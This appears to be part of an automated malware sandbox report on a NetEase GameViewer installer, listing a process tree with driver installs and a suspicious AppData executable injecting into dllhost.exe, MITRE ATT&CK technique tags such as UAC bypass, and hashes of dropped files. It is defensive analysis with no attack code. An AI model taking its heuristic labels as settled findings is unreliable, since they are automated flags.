                            "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4484,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=4852 /prefetch:14
                            4⤵
                              PID:6532
                            • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                              "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4956,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=2680 /prefetch:14
                              4⤵
                                PID:4964
                              • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=4868,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:10
                                4⤵
                                  PID:5724
                                • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4632,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:14
                                  4⤵
                                    PID:7308
                                  • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4924,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=4928 /prefetch:14
                                    4⤵
                                      PID:8780
                                    • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4644,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:14
                                      4⤵
                                        PID:1944
                                      • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=1000,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:14
                                        4⤵
                                          PID:9188
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
                                    1⤵
                                    • Drops file in Windows directory
                                    • Checks SCSI registry key(s)
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of WriteProcessMemory
                                    PID:3724
                                    • C:\Windows\system32\DrvInst.exe
                                      DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{26adf686-6f68-af4d-a9e2-6edb00bde9b8}\gvinput.inf" "9" "493cd0cb7" "0000000000000154" "WinSta0\Default" "0000000000000164" "208" "c:\program files\netease\gameviewer\bin\drivers\gvinput"
                                      2⤵
                                      • Drops file in System32 directory
                                      • Drops file in Windows directory
                                      • Checks SCSI registry key(s)
                                      • Modifies data under HKEY_USERS
                                      PID:1488
                                    • C:\Windows\system32\DrvInst.exe
                                      DrvInst.exe "4" "1" "c:\program files\netease\gameviewer\bin\drivers\vigembus\vigembus.inf" "9" "429a86e87" "0000000000000168" "WinSta0\Default" "000000000000016C" "208" "c:\program files\netease\gameviewer\bin\drivers\vigembus"
                                      2⤵
                                      • Drops file in System32 directory
                                      • Drops file in Windows directory
                                      • Checks SCSI registry key(s)
                                      • Modifies data under HKEY_USERS
                                      PID:6148
                                    • C:\Windows\system32\DrvInst.exe
                                      DrvInst.exe "2" "211" "ROOT\SYSTEM\0001" "C:\Windows\INF\oem4.inf" "oem4.inf:c14ce88408607219:ViGEmBus_Device:1.21.442.0:nefarius\vigembus\gen1," "429a86e87" "0000000000000168" "806f"
                                      2⤵
                                      • Drops file in Drivers directory
                                      • Drops file in System32 directory
                                      • Drops file in Windows directory
                                      • Checks SCSI registry key(s)
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:956
                                    • C:\Windows\system32\DrvInst.exe
                                      DrvInst.exe "2" "211" "ROOT\HIDCLASS\0000" "C:\Windows\INF\oem3.inf" "oem3.inf:c14ce88455082ae6:gvinput_Device:14.47.46.114:netease\gvinput," "493cd0cb7" "0000000000000160" "806f"
                                      2⤵
                                      • Drops file in Drivers directory
                                      • Drops file in System32 directory
                                      • Drops file in Windows directory
                                      • Checks SCSI registry key(s)
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:7644
                                    • C:\Windows\system32\DrvInst.exe
                                      DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{1fa74ecc-697d-1442-9019-fe39ce2e0c29}\gvinputmf.inf" "9" "42b2ce62f" "0000000000000184" "WinSta0\Default" "0000000000000168" "208" "c:\program files\netease\gameviewer\bin\drivers\gvinput"
                                      2⤵
                                      • Drops file in System32 directory
                                      • Drops file in Windows directory
                                      • Checks SCSI registry key(s)
                                      • Modifies data under HKEY_USERS
                                      PID:3540
                                    • C:\Windows\system32\DrvInst.exe
                                      DrvInst.exe "2" "211" "HID\GVINPUT&COL01\1&2D595CA7&0&0000" "C:\Windows\INF\oem5.inf" "oem5.inf:c14ce88497f8c81f:gvinputmf_Inst:14.48.53.76:hid\gvinput&col01," "42b2ce62f" "0000000000000154" "806f"
                                      2⤵
                                      • Drops file in Drivers directory
                                      • Drops file in System32 directory
                                      • Checks SCSI registry key(s)
                                      PID:7708
                                    • C:\Windows\system32\DrvInst.exe
                                      DrvInst.exe "2" "211" "ROOT\MOUSE\0000" "C:\Windows\INF\oem5.inf" "oem5.inf:c14ce88497f8c81f:gvinputmf_Inst:14.48.53.76:hid\gvinput&col01," "42b2ce62f" "000000000000018C" "806f"
                                      2⤵
                                      • Drops file in Drivers directory
                                      PID:8516
                                    • C:\Windows\system32\DrvInst.exe
                                      DrvInst.exe "4" "1" "c:\program files\netease\gameviewer\bin\drivers\gamevieweridddriver\gamevieweridddriver.inf" "9" "4e733d0a7" "000000000000018C" "WinSta0\Default" "000000000000019C" "208" "c:\program files\netease\gameviewer\bin\drivers\gamevieweridddriver"
                                      2⤵
                                      • Drops file in System32 directory
                                      • Drops file in Windows directory
                                      • Checks SCSI registry key(s)
                                      • Modifies data under HKEY_USERS
                                      PID:8556
                                    • C:\Windows\system32\DrvInst.exe
                                      DrvInst.exe "2" "211" "ROOT\DISPLAY\0000" "C:\Windows\INF\oem6.inf" "oem6.inf:c14ce8840c48fa1f:MyDevice_Install_WIN11:15.6.5.199:root\gamevieweridddriver," "4e733d0a7" "000000000000018C" "806f"
                                      2⤵
                                      • Drops file in Drivers directory
                                      • Drops file in System32 directory
                                      • Drops file in Windows directory
                                      • Checks SCSI registry key(s)
                                      PID:2160
                                  • C:\Program Files\Netease\GameViewer\GameViewer.exe
                                    "C:\Program Files\Netease\GameViewer\GameViewer.exe" --auto-run
                                    1⤵
                                    • Executes dropped EXE
                                    • Drops file in Program Files directory
                                    • Suspicious use of WriteProcessMemory
                                    PID:7360
                                    • C:\Program Files\Netease\GameViewer\crashpad_handler.exe
                                      "C:\Program Files\Netease\GameViewer\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\launcher\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\launcher\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\c4c1f50b-e715-446a-dd40-fadb686e944f.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\c4c1f50b-e715-446a-dd40-fadb686e944f.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\c4c1f50b-e715-446a-dd40-fadb686e944f.run\__sentry-breadcrumb2" --initial-client-data=0x334,0x338,0x33c,0x308,0x340,0x7ff6d8ab84f0,0x7ff6d8ab8510,0x7ff6d8ab8528
                                      2⤵
                                      • Executes dropped EXE
                                      PID:6920
                                    • C:\Program Files\Netease\GameViewer\bin\GameViewer.exe
                                      --auto-run source=cmd.exe 4B6671A6-B8EA-4597-A9B7-3EFA8575855F
                                      2⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: AddClipboardFormatListener
                                      PID:6764
                                  • C:\Users\Admin\AppData\Local\iusb3mon.exe
                                    C:\Users\Admin\AppData\Local\iusb3mon.exe
                                    1⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    • System Location Discovery: System Language Discovery
                                    PID:6096
                                    • C:\Windows\SysWOW64\dllhost.exe
                                      "C:\Windows\SysWOW64\dllhost.exe"
                                      2⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:6132
                                  • C:\Users\Admin\AppData\Local\iusb3mon.exe
                                    C:\Users\Admin\AppData\Local\iusb3mon.exe
                                    1⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    • System Location Discovery: System Language Discovery
                                    PID:8364
                                    • C:\Windows\SysWOW64\dllhost.exe
                                      "C:\Windows\SysWOW64\dllhost.exe"
                                      2⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:7992

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Reconnaissance

                                        Resource Development

                                        Initial Access

                                        Execution

                                        Command and Scripting Interpreter

                                        2
                                        T1059

                                        PowerShell

                                        1
                                        T1059.001

                                        Windows Command Shell

                                        1
                                        T1059.003

                                        Scheduled Task/Job

                                        1
                                        T1053

                                        Scheduled Task

                                        1
                                        T1053.005

                                        Persistence

                                        Boot or Logon Autostart Execution

                                        1
                                        T1547

                                        Registry Run Keys / Startup Folder

                                        1
                                        T1547.001

                                        Scheduled Task/Job

                                        1
                                        T1053

                                        Scheduled Task

                                        1
                                        T1053.005

                                        Privilege Escalation

                                        Abuse Elevation Control Mechanism

                                        1
                                        T1548

                                        Bypass User Account Control

                                        1
                                        T1548.002

                                        Boot or Logon Autostart Execution

                                        1
                                        T1547

                                        Registry Run Keys / Startup Folder

                                        1
                                        T1547.001

                                        Scheduled Task/Job

                                        1
                                        T1053

                                        Scheduled Task

                                        1
                                        T1053.005

                                        Defense Evasion

                                        Abuse Elevation Control Mechanism

                                        1
                                        T1548

                                        Bypass User Account Control

                                        1
                                        T1548.002

                                        Impair Defenses

                                        1
                                        T1562

                                        Disable or Modify Tools

                                        1
                                        T1562.001

                                        Indicator Removal

                                        1
                                        T1070

                                        File Deletion

                                        1
                                        T1070.004

                                        Modify Registry

                                        2
                                        T1112

                                        Credential Access

                                        Discovery

                                        Network Share Discovery

                                        1
                                        T1135

                                        Peripheral Device Discovery

                                        1
                                        T1120

                                        Query Registry

                                        4
                                        T1012

                                        System Information Discovery

                                        5
                                        T1082

                                        System Location Discovery

                                        1
                                        T1614

                                        System Language Discovery

                                        1
                                        T1614.001

                                        Lateral Movement

                                        Collection

                                        Command and Control

                                        Exfiltration

                                        Impact

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        GameViewerHealthd.exe
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\GameViewerHealthd.exe
                                        • Size 12.3MB
                                        • SHA256 ba4cdef465b3714940b154d6d40d7cfca4d65c3d639a6254bb0fb7be69bd19e6
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        GameViewerLauncher.exe
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\GameViewerLauncher.exe
                                        • Size 3.4MB
                                        • SHA256 86ee455a7aa78fffbde36ee5ebefb7fcd93ccfa22b5b6f126e9e7688b01cd08c
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        GameViewerServer.exe
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\GameViewerServer.exe
                                        • Size 30.2MB
                                        • SHA256 be1c6c108e6e4d0d5cc15dcd22650dc5fde34c7e7b9f19eee72aba0160ea3494
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        GameViewerService.exe
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\GameViewerService.exe
                                        • Size 3.3MB
                                        • SHA256 b2286aec943717c2ebc2c6f5cd771c863c6bfa2eafa379629ba5da0b8eafdd47
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        MicrosoftEdgeWebview2Setup.exe
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\MicrosoftEdgeWebview2Setup.exe
                                        • Size 1.6MB
                                        • SHA256 c4985b3d50104c12a535e45eca320c1dd462041ece252468386ef0b17788be71
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        Nevaudiosdk.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\Nevaudiosdk.dll
                                        • Size 1.4MB
                                        • SHA256 6cd76f2c850949ec7a93df81ac040ed7595de0d5c3ae2715b61e5950650f90cf
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        PsExec64.exe
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\PsExec64.exe
                                        • Size 813KB
                                        • SHA256 edfae1a69522f87b12c6dac3225d930e4848832e3c551ee1e7d31736bf4525ef
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        Qt5Core.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\Qt5Core.dll
                                        • Size 5.8MB
                                        • SHA256 1f990cc64973490a3c764ed192db9e88132a6ceeac86f260c57eeb603977f0da
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        Qt5Gui.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\Qt5Gui.dll
                                        • Size 6.5MB
                                        • SHA256 b98e5c4356f02856981367cf9f4a48ff96cc6ff8528d0c9da2f3db6e952a0ff6
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        Qt5Network.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\Qt5Network.dll
                                        • Size 1.3MB
                                        • SHA256 bfe53309032f67e0a9e39d78983906c6f13c00458f24bebdc2c452e885da2dbb
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        Qt5Svg.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\Qt5Svg.dll
                                        • Size 326KB
                                        • SHA256 9751d69dd5990b38cad92f42a47edc2c8855cb30734e164e121ac3f6de45fb66
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        Qt5Widgets.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\Qt5Widgets.dll
                                        • Size 5.3MB
                                        • SHA256 af59fbfd61079ef4880ea338c1e7ad06b3397a0eb92fb848de0ffc4535fb21d3
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        Qt5WinExtras.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\Qt5WinExtras.dll
                                        • Size 234KB
                                        • SHA256 4e5b6d7ead237b820f6e97a310010611ea8d22cef895e95c2e53f5ab8282ade9
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        Qt5Xml.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\Qt5Xml.dll
                                        • Size 213KB
                                        • SHA256 efbdcdf74fe26d25fc8660ccfc6ccecccbb2fb06933f27c54db4e49bfd7458a0
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        StreamerCodecDetector.exe
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\StreamerCodecDetector.exe
                                        • Size 3.3MB
                                        • SHA256 53a01570760a63f3c740fb94bb960d71f5ef851be76512cb205191c6e3a768db
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        Uninstall.exe
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\Uninstall.exe
                                        • Size 474KB
                                        • SHA256 b3d5dc91d22c011334714f93770550b8895c0f48601d03eefcd54680bcdb7a09
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        Upgrade.exe
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\Upgrade.exe
                                        • Size 24.9MB
                                        • SHA256 8a49c64c6e08bcc6f933d0ea5ab3056b28903b9bf445d37f3f4d71025466517f
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        WebView2Loader.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\WebView2Loader.dll
                                        • Size 162KB
                                        • SHA256 609c974a8cdd6a76a745b3d81b62f321d79f2dc8f4929e1eea8469d9d78baf79
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        XInput9_1_0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\XInput9_1_0.dll
                                        • Size 21KB
                                        • SHA256 18af10c0aba5e6003788a443b32e760e96f03ace5526ccd3b5fcb7485fefefd4
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-console-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-console-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 4cf1cc0dd16677d42e007886480407a2d5c252e00ea44d7ae9b09db3f482034b
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-datetime-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-datetime-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 5e9c97c5d37b627205cad6b5520557d5c1b27992e5f2a216e8385e24785641c9
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-debug-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-debug-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 adeead709b86084cb708a1bcdd1bba0048d37c07f960d2f92a69860dee5a8a40
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-errorhandling-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-errorhandling-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 74c45e4a9c0535be154795a143af24211288f490bc957a7a51348efe6a623575
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-file-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-file-l1-1-0.dll
                                        • Size 21KB
                                        • SHA256 f6ccd74ccea1fda8173f737e8c80c51afa4b250d5effabaf7191c0f510f2fc29
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-file-l1-2-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-file-l1-2-0.dll
                                        • Size 18KB
                                        • SHA256 7f58f49a59c4c25c733b9745f52abd5b03e2c79625ce610550dbba8835bb5623
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-file-l2-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-file-l2-1-0.dll
                                        • Size 18KB
                                        • SHA256 e1fe386e5b0f7f56ff2982d6959269041ae618ad74506db5887ade31e500841c
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-handle-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-handle-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 ad2be5da49cb7fa20865ad5db4b6f2efc4acf9d48a1484e5ade203e47842ca74
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-heap-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-heap-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 9f6ada34f789c1d36c2a0e3e9280c2fe7439cd71afbfe0214b8f1fee4f51b057
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-interlocked-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-interlocked-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 3d7ff518bb79515c4dc8dc7f2e255aa0c19b0314611a0b5da1249d4de413931e
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-libraryloader-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-libraryloader-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 857b6f69ab5a0ff7853b23d8de61b350af6d1b78bbab0ead8eea7ed92377db91
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-localization-l1-2-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-localization-l1-2-0.dll
                                        • Size 20KB
                                        • SHA256 8fd1d49ad7a04880004c5fdf9f88118f236d2d08fb2d09e9d6ba33143b3a69da
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-memory-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-memory-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 db1893e5adafba187a522488eff2fa20b509d43f59047a5e915674fa0c7c4e08
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-namedpipe-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-namedpipe-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 ae536d04c9f706894b51febe831afde7f421a9dc5e84d762d82a7bceef1d17d3
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-processenvironment-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-processenvironment-l1-1-0.dll
                                        • Size 19KB
                                        • SHA256 39634e5c748c39f4c439aa3b76fe9149b236c6d10ae61d793c70a5d6e1567d40
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-processthreads-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-processthreads-l1-1-0.dll
                                        • Size 20KB
                                        • SHA256 8e79781634019a7fa7b03ab98846e73e48fc135f7a36625446ea81d1615ae951
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-processthreads-l1-1-1.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-processthreads-l1-1-1.dll
                                        • Size 18KB
                                        • SHA256 d20bf4086cd6bae61a2546e2aaf6a1b3fe4e7c24422d13c8c05e1853dcf08973
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-profile-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-profile-l1-1-0.dll
                                        • Size 17KB
                                        • SHA256 62c572488d41a3c7ad827299354e4e8a3727d9c1259ac667c142ca80c8755f99
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-rtlsupport-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-rtlsupport-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 733829e7aebdf3d4c8bd407d2ab84f67bb3044f82b41548cc11b573647b62c12
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-string-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-string-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 e5575f0172daa016cba2c55a67dcd11d4b2598c28a60a5167089cbfbb262b884
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-synch-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-synch-l1-1-0.dll
                                        • Size 20KB
                                        • SHA256 e3243a262841eb09e2baf5969568174efa7a3485087ce8fd8c1afe8ad3761b0b
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-synch-l1-2-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-synch-l1-2-0.dll
                                        • Size 18KB
                                        • SHA256 68a36ccfb88ddba45e3c02190be4f2e09a37ba6883cb63c2418aa68ba0e13401
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-sysinfo-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-sysinfo-l1-1-0.dll
                                        • Size 19KB
                                        • SHA256 768f92f8f1b26eed576cc7a65bc1817a6ee8e04f1e7a2166dc46946c93c9c6af
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-timezone-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-timezone-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 03faaac34a7d25b8829da2508a4f8b476b5d5b895267f2b9852fb02ccf31da42
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-core-util-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-core-util-l1-1-0.dll
                                        • Size 18KB
                                        • SHA256 082f08bfc404992a1056dad41cdbc014b35bfb8e60f9819d728d5cbe5841c428
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        api-ms-win-crt-conio-l1-1-0.dll
                                        • Path C:\Program Files\Netease\GameViewer\4.33.0.8907\api-ms-win-crt-conio-l1-1-0.dll
                                        • Size 19KB
                                        • SHA256 055cb2699194f1550c5ab6b4412bf8f970a5878df6da14f034ab7c35a1bd3787
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

